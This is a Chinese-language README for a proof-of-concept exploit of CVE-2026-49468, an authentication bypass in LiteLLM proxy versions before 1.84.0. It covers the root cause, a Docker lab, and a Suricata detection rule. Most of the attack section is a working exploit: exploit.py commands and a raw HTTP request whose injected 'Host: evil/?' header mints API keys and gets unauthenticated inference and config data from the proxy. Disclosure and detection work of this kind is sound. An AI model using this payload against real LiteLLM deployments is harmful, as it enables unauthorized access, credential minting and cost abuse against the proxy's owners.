CVE-2026-49468 — LiteLLM(<1.84.0)未经身份验证的认证绕过,通过Host-header路由混淆。PoC + Docker实验环境。
| CVE | CVE-2026-49468 |
| 产品 | LiteLLM (BerriAI) proxy |
| 受影响版本 | < 1.84.0 (已验证于 v1.83.14-stable) |
| 修复版本 | 1.84.0 |
| 漏洞类型 | 认证不当(CWE-290)— 路由混淆 |
| 认证要求 | 无(预认证) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| 状态 | 确认 — 端到端复现绕过;修复已在 1.84.0 上验证 |
整个利用仅需一个头:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route() 从 request.url.path 中推导出用于每个身份验证决策的路由。Starlette 从客户端控制的 Host 头重新构建该 URL 字符串:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
FastAPI 路由根据原始 ASGI 路径 request.scope["path"] 进行分发。在 Host 头中注入 ? 会将实际请求路径推入 URL 的查询部分,因此重构后的 url.path 变为 /:
real request path (scope, FastAPI routes here) : /key/generate
Host header : evil/?
reconstructed URL : http://evil/?/key/generate
urlsplit(...).path : / <-- auth sees this
/ 位于 LiteLLMRoutes.public_routes 中,两个身份验证门控都使用这个伪造的值对公共路由进行短路处理:
# user_api_key_auth.py — authentication builder
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required
# user_api_key_auth.py — authorization wrapper
if route in public_routes: # route == "/"
return # skips common_checks / admin-route enforcement
修复(1.84.0): get_request_route() 现在直接读取 request.scope["path"] / scope["root_path"],不再从 Host 头重新构建。
可达到的未认证接口(以 INTERNAL_USER_VIEW_ONLY 角色处理):
POST /key/generate → 生成有效的虚拟API密钥。该密钥在没有绕过头的情况下可作为正常认证使用 → 持久的认证立足点和提供商成本滥用。POST /user/new → 创建用户。POST /chat/completions (+ /v1/models, /model/info) → 未认证的推理,针对代理配置的LLM提供商。GET /spend/logs, /settings, /get/config/callbacks → 配置/遥测信息泄露。受内联 PROXY_ADMIN 检查保护的端点仍然被阻止(/config/update, /model/new, /user/list, /key/list, 角色提升, MCP 直接创建),因此此绕过在 v1.83.14 上不会导致完全代理管理权限或 RCE — 参见 ANALYSIS.md。
# 1. 启动一个易受攻击 + 已修复的实验室环境(启用认证并设置主密钥)
cd lab && docker compose up -d && cd ..
# 2. 确认绕过
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list 无绕过 Host -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] 存在漏洞:身份验证被绕过(基线401,绕过到达处理程序:403)。
# 3. 无需凭据生成API密钥
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] 生成虚拟API密钥(未认证):sk-....
# 4. 未认证推理/枚举
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# 已修复版本(v1.84.0 on :4001)拒绝相同请求,返回401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py 只依赖标准库(http.client),并在网络层逐字设置 Host 头。操作:check、mint-key、user、chat、dump、raw METHOD PATH。
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
参见 EVIDENCE.txt 获取完整的基准/绕过矩阵、对抗性判别(evil → 401, evil/foo → 401, evil/? → 200)以及补丁边界。
1.84.0 或更高版本。Host 验证的反向代理后面(拒绝包含 /、?、# 的 Host 值),并设置 master_key。该绕过利用的是语法上无效的 Host 头。示例 Suricata 规则:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
日志侧:任何到达 LiteLLM 代理且 Host 头包含 /、? 或 # 的请求。
Caio Fabrício (BiiTts)。
仅限授权的安全研究和测试。